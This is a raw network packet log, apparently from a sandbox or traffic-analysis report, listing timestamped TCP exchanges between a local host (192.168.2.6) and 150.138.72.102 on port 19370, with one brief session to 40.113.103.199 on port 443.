Oct 17, 2024 18:20:29.130945921 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.135922909 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.157599926 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.199424982 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.199620962 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.268023968 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.268138885 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.285111904 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.285175085 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.293932915 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.299315929 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.304485083 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.321373940 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.326489925 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.337182999 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.342812061 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.376997948 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.382055998 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.405024052 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.425400972 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.425576925 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.501499891 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.501761913 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.526133060 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.536427021 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.545284986 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.554501057 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.564153910 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.569750071 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.576358080 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.585814953 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.593466997 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.607239962 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.637067080 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.637145042 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.693582058 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.693746090 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.733906984 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.734064102 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.741542101 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.743455887 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.748476028 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.748713970 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.754997015 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.769532919 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.774810076 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.784465075 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.800602913 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.828460932 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.873291969 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.873378992 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.898417950 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.908479929 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.915813923 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.923177004 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.928469896 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.938642025 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.945559025 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.955646992 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.960835934 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:29.975773096 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:29.982057095 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:30.010571003 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:30.015605927 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:30.022154093 CEST	19370	52323	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:30.022298098 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:30.068878889 CEST	52323	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:34.429229975 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:34.429275990 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:34.429522991 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:34.430157900 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:34.430180073 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.084462881 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.089860916 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.089951992 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.090610027 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.095799923 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.110621929 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.115680933 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.147531033 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.152498007 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.199177980 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.204380989 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.254786015 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.259824038 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.274183989 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.279130936 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.293778896 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.299495935 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.307564020 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.312665939 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.335886002 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.341044903 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.360832930 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.365998983 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.407937050 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.412946939 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.437860012 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.442909956 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.466542006 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.471537113 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.473330975 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.478354931 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.519556046 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.524602890 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.559706926 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.566694975 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.584295988 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.587352991 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.587419033 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:35.589282990 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:35.589303017 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.589559078 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.592083931 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.595036030 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:35.595036030 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:35.595051050 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.595257998 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:35.607134104 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.612001896 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.624078035 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.628987074 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.634288073 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.635409117 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:35.639357090 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.647790909 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.654781103 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.663371086 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.668401957 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.685834885 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.690999985 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.707473993 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.712644100 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.743366003 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.748322964 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.771372080 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:35.771430016 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:35.778249025 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:36.027198076 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:36.027688026 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:36.027699947 CEST	443	52324	40.113.103.199	192.168.2.6
Oct 17, 2024 18:20:36.027784109 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:36.027817965 CEST	52324	443	192.168.2.6	40.113.103.199
Oct 17, 2024 18:20:36.028161049 CEST	19370	52325	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:36.028249979 CEST	52325	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.808032036 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.813024998 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.813286066 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.814167023 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.819474936 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.833623886 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.838545084 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.882900953 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.887960911 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.926429987 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.931566000 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.960266113 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.965303898 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.976654053 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:40.981602907 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:40.997195959 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.002070904 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.008543015 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.013585091 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.024641037 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.029696941 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.050481081 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.055361986 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.095470905 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.100462914 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.125427961 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.130801916 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.134471893 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.139667988 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.151458025 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.156289101 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.181723118 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.186753988 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.196460962 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.201332092 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.217705011 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.222692013 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.263225079 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.268323898 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.287785053 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.292917967 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.307976961 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.323798895 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.332758904 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.337790966 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.376285076 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.381378889 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.394876003 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.400829077 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.416640997 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.697638988 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.697788000 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.697788000 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.699467897 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.699528933 CEST	52326	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:41.701868057 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.703896999 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.704071999 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:41.704658031 CEST	19370	52326	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.725614071 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.730545998 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.732839108 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.733510017 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.738430023 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.738500118 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.743576050 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.755162954 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.760056019 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.774199963 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.779082060 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.794362068 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.799640894 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.861310959 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.866381884 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.883106947 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.888154030 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.904572964 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.909687042 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.919467926 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.924534082 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.933460951 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.938513994 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.951224089 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.956073999 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.969676971 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.974622965 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:46.985033989 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:46.990020037 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.002878904 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.007742882 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.025010109 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.029916048 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.041045904 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.047194004 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.078728914 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.083779097 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.095448971 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.100507975 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.114378929 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.119478941 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.134402990 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.140675068 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.157675028 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.162992954 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.175146103 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.180214882 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.192816019 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.198179007 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.228569984 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.233642101 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.242952108 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.248440981 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.288606882 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.293968916 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.307291031 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.326762915 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.338905096 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.344698906 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.348408937 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.353562117 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.361243963 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.366811037 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.386742115 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.391866922 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.419986963 CEST	19370	52327	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:47.420066118 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:47.447423935 CEST	52327	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.456701040 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.461697102 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.461812973 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.462449074 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.467355013 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.513653040 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.518667936 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.547797918 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.552934885 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.649964094 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.655270100 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.682220936 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.687428951 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.694566965 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.699534893 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.711965084 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.716856003 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.748744965 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.753655910 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.761493921 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.766355038 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.779494047 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.784519911 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.802910089 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.808060884 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.812266111 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.817328930 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.830418110 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.835475922 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.849244118 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.854309082 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.865653992 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.870794058 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.876724958 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.881766081 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.895673990 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.900583982 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.929050922 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.934528112 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:52.947010994 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:52.952358961 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.017879963 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.023294926 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.057126999 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.062235117 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.091573954 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.100729942 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.126473904 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.132198095 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.149276018 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.154243946 CEST	19370	52328	150.138.72.102	192.168.2.6
Oct 17, 2024 18:20:53.154342890 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.154381990 CEST	52328	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:20:53.154412031 CEST	19370	52328	150.138.72.102	192.168.2.6
